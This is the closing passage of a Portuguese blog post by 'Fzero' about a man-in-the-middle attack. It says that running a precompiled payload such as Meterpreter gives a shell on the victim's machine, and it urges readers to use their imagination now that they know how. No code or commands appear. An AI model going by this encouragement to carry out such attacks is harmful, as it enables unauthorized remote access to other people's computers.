Colocando e executando alguma payload já compilada, o Meterpreter por exemlpo, você terá acesso a uma Shell em seu cliente.
"O resto nasce daí"
Simples assim
Este é um exemplo muito claro e real de um ataque de MITM, é claro, isto é apenas o básico, como já disse no começo do post, existem infinitas possibilidades de execuções ou ataques, agora que você já sabe como fazer, basta apenas ter imaginação
Escrito por: Fzero
Assinar:
Postagens (Atom)
Postagens
